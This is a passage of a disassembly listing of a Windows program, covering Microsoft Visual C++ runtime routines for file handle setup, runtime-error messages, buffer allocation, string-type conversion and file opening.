byte ptr [esi+5], 0Ah mov eax, ds:dword_4CA3C0 add esi, 8 add eax, 100h jmp short loc_41D715 ; --------------------------------------------------------------------------- loc_41D733: ; CODE XREF: sub_41D6DF+38j lea eax, [esp+54h+var_44] push eax call ds:dword_422180 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_41D80F mov eax, [esp+54h+var_10] test eax, eax jz loc_41D80F mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41D769 mov esi, eax loc_41D769: ; CODE XREF: sub_41D6DF+86j cmp ds:dword_4CA4C0, esi jge short loc_41D7C3 mov edi, offset dword_4CA3C4 loc_41D776: ; CODE XREF: sub_41D6DF+DAj push 100h call sub_415D2F test eax, eax pop ecx jz short loc_41D7BD add ds:dword_4CA4C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41D794: ; CODE XREF: sub_41D6DF+CFj cmp eax, ecx jnb short loc_41D7B0 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D7B0: ; CODE XREF: sub_41D6DF+B7j add edi, 4 cmp ds:dword_4CA4C0, esi jl short loc_41D776 jmp short loc_41D7C3 ; --------------------------------------------------------------------------- loc_41D7BD: ; CODE XREF: sub_41D6DF+A4j mov esi, ds:dword_4CA4C0 loc_41D7C3: ; CODE XREF: sub_41D6DF+90j ; sub_41D6DF+DCj xor edi, edi test esi, esi jle short loc_41D80F loc_41D7C9: ; CODE XREF: sub_41D6DF+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41D806 mov cl, [ebp+0] test cl, 1 jz short loc_41D806 test cl, 8 jnz short loc_41D7E8 push eax call ds:dword_422030 ; GetFileType test eax, eax jz short loc_41D806 loc_41D7E8: ; CODE XREF: sub_41D6DF+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4CA3C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41D806: ; CODE XREF: sub_41D6DF+EFj ; sub_41D6DF+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41D7C9 loc_41D80F: ; CODE XREF: sub_41D6DF+65j ; sub_41D6DF+71j ... xor ebx, ebx loc_41D811: ; CODE XREF: sub_41D6DF+195j mov eax, ds:dword_4CA3C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41D86C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41D82C push 0FFFFFFF6h pop eax jmp short loc_41D836 ; --------------------------------------------------------------------------- loc_41D82C: ; CODE XREF: sub_41D6DF+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41D836: ; CODE XREF: sub_41D6DF+14Bj push eax call ds:dword_422034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41D85B push edi call ds:dword_422030 ; GetFileType test eax, eax jz short loc_41D85B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41D861 loc_41D85B: ; CODE XREF: sub_41D6DF+163j ; sub_41D6DF+16Ej or byte ptr [esi+4], 40h jmp short loc_41D870 ; --------------------------------------------------------------------------- loc_41D861: ; CODE XREF: sub_41D6DF+17Aj cmp eax, 3 jnz short loc_41D870 or byte ptr [esi+4], 8 jmp short loc_41D870 ; --------------------------------------------------------------------------- loc_41D86C: ; CODE XREF: sub_41D6DF+13Ej or byte ptr [esi+4], 80h loc_41D870: ; CODE XREF: sub_41D6DF+180j ; sub_41D6DF+185j ... inc ebx cmp ebx, 3 jl short loc_41D811 push ds:dword_4CA4C0 call ds:dword_422038 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41D6DF endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D894 proc near ; DATA XREF: _0:00417D0Eo ; sub_41B111+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41D934 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41D8C7: ; CODE XREF: sub_41D894+90j cmp esi, 0FFFFFFFFh jz short loc_41D92D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41D91B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41D91B js short loc_41D926 mov edi, [ebx+8] push ebx call sub_416348 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41638A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41641E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41D91B: ; CODE XREF: sub_41D894+40j ; sub_41D894+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41D8C7 ; --------------------------------------------------------------------------- loc_41D926: ; CODE XREF: sub_41D894+54j mov eax, 0 jmp short loc_41D949 ; --------------------------------------------------------------------------- loc_41D92D: ; CODE XREF: sub_41D894+36j mov eax, 1 jmp short loc_41D949 ; --------------------------------------------------------------------------- loc_41D934: ; CODE XREF: sub_41D894+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41638A add esp, 8 pop ebp mov eax, 1 loc_41D949: ; CODE XREF: sub_41D894+97j ; sub_41D894+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D894 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41638A add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41D96C proc near ; CODE XREF: sub_417DFA+9p ; sub_417E1F+9p mov eax, ds:dword_4C90D8 cmp eax, 1 jz short loc_41D983 test eax, eax jnz short locret_41D9A4 cmp ds:dword_42F354, 1 jnz short locret_41D9A4 loc_41D983: ; CODE XREF: sub_41D96C+8j push 0FCh call sub_41D9A5 mov eax, ds:dword_4C9244 pop ecx test eax, eax jz short loc_41D999 call eax loc_41D999: ; CODE XREF: sub_41D96C+29j push 0FFh call sub_41D9A5 pop ecx locret_41D9A4: ; CODE XREF: sub_41D96C+Cj ; sub_41D96C+15j retn sub_41D96C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9A5 proc near ; CODE XREF: sub_417DFA+12p ; sub_417E1F+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4319E8 loc_41D9B8: ; CODE XREF: sub_41D9A5+20j cmp edx, [eax] jz short loc_41D9C7 add eax, 8 inc ecx cmp eax, offset off_431A78 jl short loc_41D9B8 loc_41D9C7: ; CODE XREF: sub_41D9A5+15j push esi mov esi, ecx shl esi, 3 cmp edx, ds:dword_4319E8[esi] jnz loc_41DAF5 mov eax, ds:dword_4C90D8 cmp eax, 1 jz loc_41DACF test eax, eax jnz short loc_41D9F8 cmp ds:dword_42F354, 1 jz loc_41DACF loc_41D9F8: ; CODE XREF: sub_41D9A5+44j cmp edx, 0FCh jz loc_41DAF5 lea eax, [ebp+var_1A4] push 104h push eax push 0 call ds:off_422060 test eax, eax jnz short loc_41DA2F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_415B90 pop ecx pop ecx loc_41DA2F: ; CODE XREF: sub_41D9A5+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_415C80 inc eax pop ecx cmp eax, 3Ch jbe short loc_41DA72 lea eax, [ebp+var_1A4] push eax call sub_415C80 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416D30 add esp, 10h loc_41DA72: ; CODE XREF: sub_41D9A5+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_415B90 lea eax, [ebp+var_A0] push edi push eax call sub_415BA0 lea eax, [ebp+var_A0] push offset asc_422B90 ; "\n\n" push eax call sub_415BA0 push ds:off_4319EC[esi] lea eax, [ebp+var_A0] push eax call sub_415BA0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41F17E add esp, 2Ch pop edi jmp short loc_41DAF5 ; --------------------------------------------------------------------------- loc_41DACF: ; CODE XREF: sub_41D9A5+3Cj ; sub_41D9A5+4Dj lea eax, [ebp+arg_0] lea esi, off_4319EC[esi] push 0 push eax push dword ptr [esi] call sub_415C80 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_422034 ; GetStdHandle push eax call ds:dword_4220B0 ; WriteFile loc_41DAF5: ; CODE XREF: sub_41D9A5+2Ej ; sub_41D9A5+59j ... pop esi leave retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41DAF8 proc near ; CODE XREF: sub_417E43+6Cp ; sub_41C368+32p ... arg_0 = dword ptr 4 inc ds:dword_4C9248 push 1000h call sub_415D2F pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41DB21 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41DB32 ; --------------------------------------------------------------------------- loc_41DB21: ; CODE XREF: sub_41DAF8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41DB32: ; CODE XREF: sub_41DAF8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41DAF8 endp ; =============== S U B R O U T I N E ======================================= sub_41DB3C proc near ; CODE XREF: sub_417E43+61p ; sub_4189C2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4CA4C0 jb short loc_41DB4B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41DB4B: ; CODE XREF: sub_41DB3C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4CA3C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41DB3C endp ; --------------------------------------------------------------------------- mov eax, ds:dword_4CA3A0 push esi push 14h test eax, eax pop esi jnz short loc_41DB76 mov eax, 200h jmp short loc_41DB7C ; --------------------------------------------------------------------------- loc_41DB76: ; CODE XREF: _0:0041DB6Dj cmp eax, esi jge short loc_41DB81 mov eax, esi loc_41DB7C: ; CODE XREF: _0:0041DB74j mov ds:dword_4CA3A0, eax loc_41DB81: ; CODE XREF: _0:0041DB78j push 4 push eax call sub_41F207 pop ecx mov ds:dword_4C9380, eax test eax, eax pop ecx jnz short loc_41DBB5 push 4 push esi mov ds:dword_4CA3A0, esi call sub_41F207 pop ecx mov ds:dword_4C9380, eax test eax, eax pop ecx jnz short loc_41DBB5 push 1Ah call sub_417DFA pop ecx loc_41DBB5: ; CODE XREF: _0:0041DB92j _0:0041DBABj xor ecx, ecx mov eax, offset off_431A78 loc_41DBBC: ; CODE XREF: _0:0041DBD0j mov edx, ds:dword_4C9380 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_431CF8 jl short loc_41DBBC xor edx, edx mov ecx, offset dword_431A88 loc_41DBD9: ; CODE XREF: _0:0041DC03j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, ds:dword_4CA3C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41DBF6 test eax, eax jnz short loc_41DBF9 loc_41DBF6: ; CODE XREF: _0:0041DBF0j or dword ptr [ecx], 0FFFFFFFFh loc_41DBF9: ; CODE XREF: _0:0041DBF4j add ecx, 20h inc edx cmp ecx, offset dword_431AE8 jl short loc_41DBD9 pop esi retn ; --------------------------------------------------------------------------- loc_41DC07: ; DATA XREF: _2:00424028o call sub_41894C cmp ds:byte_4C90C4, 0 jz short locret_41DC1A jmp loc_41F2B8 ; --------------------------------------------------------------------------- locret_41DC1A: ; CODE XREF: _0:0041DC13j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC1B proc near ; CODE XREF: sub_417F58+2D4p ; sub_417F58+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41DC27 pop ebp retn ; --------------------------------------------------------------------------- loc_41DC27: ; CODE XREF: sub_41DC1B+8j cmp ds:dword_4C911C, 0 jnz short loc_41DC42 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41DC74 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41DC42: ; CODE XREF: sub_41DC1B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push ds:dword_42F56C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push ds:dword_4C912C call ds:dword_422130 ; WideCharToMultiByte test eax, eax jz short loc_41DC74 cmp [ebp+arg_0], 0 jz short loc_41DC81 loc_41DC74: ; CODE XREF: sub_41DC1B+1Ej ; sub_41DC1B+51j mov ds:dword_4C9084, 2Ah or eax, 0FFFFFFFFh loc_41DC81: ; CODE XREF: sub_41DC1B+57j pop ebp retn sub_41DC1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC83 proc near ; CODE XREF: sub_418762+5Ep ; sub_41CC8C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422BD0 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_4C924C xor ebx, ebx cmp eax, ebx jnz short loc_41DCF2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4228C0 push esi call ds:dword_422028 ; GetStringTypeW test eax, eax jz short loc_41DCD0 mov eax, esi jmp short loc_41DCED ; --------------------------------------------------------------------------- loc_41DCD0: ; CODE XREF: sub_41DC83+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4325D4 push esi push ebx call ds:dword_42202C ; GetStringTypeA test eax, eax jz loc_41DDB8 push 2 pop eax loc_41DCED: ; CODE XREF: sub_41DC83+4Bj mov ds:dword_4C924C, eax loc_41DCF2: ; CODE XREF: sub_41DC83+2Fj cmp eax, 2 jnz short loc_41DD1B mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41DD03 mov eax, ds:dword_4C911C loc_41DD03: ; CODE XREF: sub_41DC83+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:dword_42202C ; GetStringTypeA jmp loc_41DDBA ; --------------------------------------------------------------------------- loc_41DD1B: ; CODE XREF: sub_41DC83+72j cmp eax, 1 jnz loc_41DDB8 cmp [ebp+arg_10], ebx jnz short loc_41DD31 mov eax, ds:dword_4C912C mov [ebp+arg_10], eax loc_41DD31: ; CODE XREF: sub_41DC83+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_422134 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41DDB8 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_415500 add esp, 0Ch jmp short loc_41DD87 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41DD87: ; CODE XREF: sub_41DC83+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41DDB8 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_422134 ; MultiByteToWideChar cmp eax, ebx jz short loc_41DDB8 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_422028 ; GetStringTypeW jmp short loc_41DDBA ; --------------------------------------------------------------------------- loc_41DDB8: ; CODE XREF: sub_41DC83+61j ; sub_41DC83+9Bj ... xor eax, eax loc_41DDBA: ; CODE XREF: sub_41DC83+93j ; sub_41DC83+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41DC83 endp ; =============== S U B R O U T I N E ======================================= sub_41DDCC proc near ; CODE XREF: sub_41DFE6:loc_41E15Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4CA3C0 loc_41DDDB: ; CODE XREF: sub_41DDCC+48j mov eax, [ecx] test eax, eax jz short loc_41DE18 lea edx, [eax+100h] loc_41DDE7: ; CODE XREF: sub_41DDCC+28j cmp eax, edx jnb short loc_41DE07 test byte ptr [eax+4], 1 jz short loc_41DDF6 add eax, 8 jmp short loc_41DDE7 ; --------------------------------------------------------------------------- loc_41DDF6: ; CODE XREF: sub_41DDCC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41DE5B loc_41DE07: ; CODE XREF: sub_41DDCC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4CA4C0 jl short loc_41DDDB jmp short loc_41DE5B ; --------------------------------------------------------------------------- loc_41DE18: ; CODE XREF: sub_41DDCC+13j mov esi, 100h push esi call sub_415D2F test eax, eax pop ecx jz short loc_41DE5B add ds:dword_4CA4C0, 20h lea ecx, ds:4CA3C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41DE3E: ; CODE XREF: sub_41DDCC+88j cmp eax, edx jnb short loc_41DE56 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41DE3E ; --------------------------------------------------------------------------- loc_41DE56: ; CODE XREF: sub_41DDCC+74j shl edi, 5 mov ebx, edi loc_41DE5B: ; CODE XREF: sub_41DDCC+39j ; sub_41DDCC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41DDCC endp ; =============== S U B R O U T I N E ======================================= sub_41DE61 proc near ; CODE XREF: sub_41DFE6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_4CA4C0 push edi jnb short loc_41DEC1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CA3C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41DEC1 cmp ds:dword_42F354, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41DEB7 sub eax, 0 jz short loc_41DEAE dec eax jz short loc_41DEA9 dec eax jnz short loc_41DEB7 push ebx push 0FFFFFFF4h jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DEA9: ; CODE XREF: sub_41DE61+3Ej push ebx push 0FFFFFFF5h jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DEAE: ; CODE XREF: sub_41DE61+3Bj push ebx push 0FFFFFFF6h loc_41DEB1: ; CODE XREF: sub_41DE61+46j ; sub_41DE61+4Bj call ds:dword_422024 ; SetStdHandle loc_41DEB7: ; CODE XREF: sub_41DE61+36j ; sub_41DE61+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41DED5 ; --------------------------------------------------------------------------- loc_41DEC1: ; CODE XREF: sub_41DE61+Cj ; sub_41DE61+28j and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 or eax, 0FFFFFFFFh loc_41DED5: ; CODE XREF: sub_41DE61+5Ej pop edi pop esi retn sub_41DE61 endp ; =============== S U B R O U T I N E ======================================= sub_41DED8 proc near ; CODE XREF: sub_4187D7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, ds:dword_4CA4C0 push edi jnb short loc_41DF3B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4CA3C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41DF3B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41DF3B cmp ds:dword_42F354, 1 jnz short loc_41DF31 xor eax, eax sub ecx, eax jz short loc_41DF28 dec ecx jz short loc_41DF23 dec ecx jnz short loc_41DF31 push eax push 0FFFFFFF4h jmp short loc_41DF2B ; --------------------------------------------------------------------------- loc_41DF23: ; CODE XREF: sub_41DED8+41j push eax push 0FFFFFFF5h jmp short loc_41DF2B ; --------------------------------------------------------------------------- loc_41DF28: ; CODE XREF: sub_41DED8+3Ej push eax push 0FFFFFFF6h loc_41DF2B: ; CODE XREF: sub_41DED8+49j ; sub_41DED8+4Ej call ds:dword_422024 ; SetStdHandle loc_41DF31: ; CODE XREF: sub_41DED8+38j ; sub_41DED8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41DF4F ; --------------------------------------------------------------------------- loc_41DF3B: ; CODE XREF: sub_41DED8+Cj ; sub_41DED8+2Aj ... and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 or eax, 0FFFFFFFFh loc_41DF4F: ; CODE XREF: sub_41DED8+61j pop edi pop esi retn sub_41DED8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF52 proc near ; CODE XREF: sub_4187D7+32p ; sub_4187D7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4CA4C0 jnb short loc_41DF7A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4CA3C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41DF7A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41DF7A: ; CODE XREF: sub_41DF52+Aj ; sub_41DF52+23j and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 or eax, 0FFFFFFFFh retn sub_41DF52 endp ; =============== S U B R O U T I N E ======================================= sub_41DF8F proc near ; CODE XREF: sub_4188B5+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4CA4C0 jnb short loc_41DFD8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, ds:dword_4CA3C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41DFD8 push eax call sub_41DF52 pop ecx push eax call ds:dword_422020 ; FlushFileBuffers test eax, eax jnz short loc_41DFCD call ds:dword_42206C ; RtlGetLastWin32Error jmp short loc_41DFCF ; --------------------------------------------------------------------------- loc_41DFCD: ; CODE XREF: sub_41DF8F+34j xor eax, eax loc_41DFCF: ; CODE XREF: sub_41DF8F+3Cj test eax, eax jz short locret_41DFE5 mov ds:dword_4C9088, eax loc_41DFD8: ; CODE XREF: sub_41DF8F+Aj ; sub_41DF8F+22j mov ds:dword_4C9084, 9 or eax, 0FFFFFFFFh locret_41DFE5: ; CODE XREF: sub_41DF8F+42j retn sub_41DF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFE6 proc near ; CODE XREF: sub_418A8C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41E00C mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41E017 ; --------------------------------------------------------------------------- loc_41E00C: ; CODE XREF: sub_41DFE6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41E017: ; CODE XREF: sub_41DFE6+24j mov eax, 8000h test ecx, eax jnz short loc_41E031 test ch, 40h jnz short loc_41E02D cmp ds:dword_4C9358, eax jz short loc_41E031 loc_41E02D: ; CODE XREF: sub_41DFE6+3Dj or [ebp+var_1], 80h loc_41E031: ; CODE XREF: sub_41DFE6+38j ; sub_41DFE6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41E069 dec eax jz short loc_41E060 dec eax jz short loc_41E057 loc_41E042: ; CODE XREF: sub_41DFE6+9Fj ; sub_41DFE6+E8j ... mov ds:dword_4C9084, 16h mov ds:dword_4C9088, ebx jmp loc_41E27C ; --------------------------------------------------------------------------- loc_41E057: ; CODE XREF: sub_41DFE6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41E070 ; --------------------------------------------------------------------------- loc_41E060: ; CODE XREF: sub_41DFE6+57j mov [ebp+var_C], 40000000h jmp short loc_41E070 ; --------------------------------------------------------------------------- loc_41E069: ; CODE XREF: sub_41DFE6+54j mov [ebp+var_C], 80000000h loc_41E070: ; CODE XREF: sub_41DFE6+78j ; sub_41DFE6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41E09E cmp eax, 20h jz short loc_41E095 cmp eax, 30h jz short loc_41E08C cmp eax, 40h jnz short loc_41E042 mov [ebp+var_10], esi jmp short loc_41E0A1 ; --------------------------------------------------------------------------- loc_41E08C: ; CODE XREF: sub_41DFE6+9Aj mov [ebp+var_10], 2 jmp short loc_41E0A1 ; --------------------------------------------------------------------------- loc_41E095: ; CODE XREF: sub_41DFE6+95j mov [ebp+var_10], 1 jmp short loc_41E0A1 ; --------------------------------------------------------------------------- loc_41E09E: ; CODE XREF: sub_41DFE6+90j mov [ebp+var_10], ebx loc_41E0A1: ; CODE XREF: sub_41DFE6+A4j ; sub_41DFE6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41E0EB jz short loc_41E0E6 cmp ecx, ebx jz short loc_41E0E6 cmp ecx, edi jz short loc_41E0DD cmp ecx, 200h jz short loc_41E104 cmp ecx, 300h jnz loc_41E042 mov [ebp+var_8], 2 jmp short loc_41E114 ; --------------------------------------------------------------------------- loc_41E0DD: ; CODE XREF: sub_41DFE6+D8j mov [ebp+var_8], 4 jmp short loc_41E114 ; --------------------------------------------------------------------------- loc_41E0E6: ; CODE XREF: sub_41DFE6+D0j ; sub_41DFE6+D4j mov [ebp+var_8], esi jmp short loc_41E114 ; --------------------------------------------------------------------------- loc_41E0EB: ; CODE XREF: sub_41DFE6+CEj cmp ecx, 500h jz short loc_41E10D cmp ecx, 600h jz short loc_41E104 cmp ecx, edx jz short loc_41E10D jmp loc_41E042 ; --------------------------------------------------------------------------- loc_41E104: ; CODE XREF: sub_41DFE6+E0j ; sub_41DFE6+113j mov [ebp+var_8], 5 jmp short loc_41E114 ; --------------------------------------------------------------------------- loc_41E10D: ; CODE XREF: sub_41DFE6+10Bj ; sub_41DFE6+117j mov [ebp+var_8], 1 loc_41E114: ; CODE XREF: sub_41DFE6+F5j ; sub_41DFE6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41E133 mov ecx, ds:dword_4C908C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41E133 push 1 pop esi loc_41E133: ; CODE XREF: sub_41DFE6+138j ; sub_41DFE6+148j test al, 40h jz short loc_41E141 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41E141: ; CODE XREF: sub_41DFE6+14Fj test ah, 10h jz short loc_41E148 or esi, edi loc_41E148: ; CODE XREF: sub_41DFE6+15Ej test al, 20h jz short loc_41E154 or esi, 8000000h jmp short loc_41E15E ; --------------------------------------------------------------------------- loc_41E154: ; CODE XREF: sub_41DFE6+164j test al, 10h jz short loc_41E15E or esi, 10000000h loc_41E15E: ; CODE XREF: sub_41DFE6+16Cj ; sub_41DFE6+170j call sub_41DDCC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41E17F and ds:dword_4C9088, 0 mov ds:dword_4C9084, 18h jmp short loc_41E1BD ; --------------------------------------------------------------------------- loc_41E17F: ; CODE XREF: sub_41DFE6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:off_42207C mov esi, eax cmp esi, edi jz short loc_41E1B0 push esi call ds:dword_422030 ; GetFileType test eax, 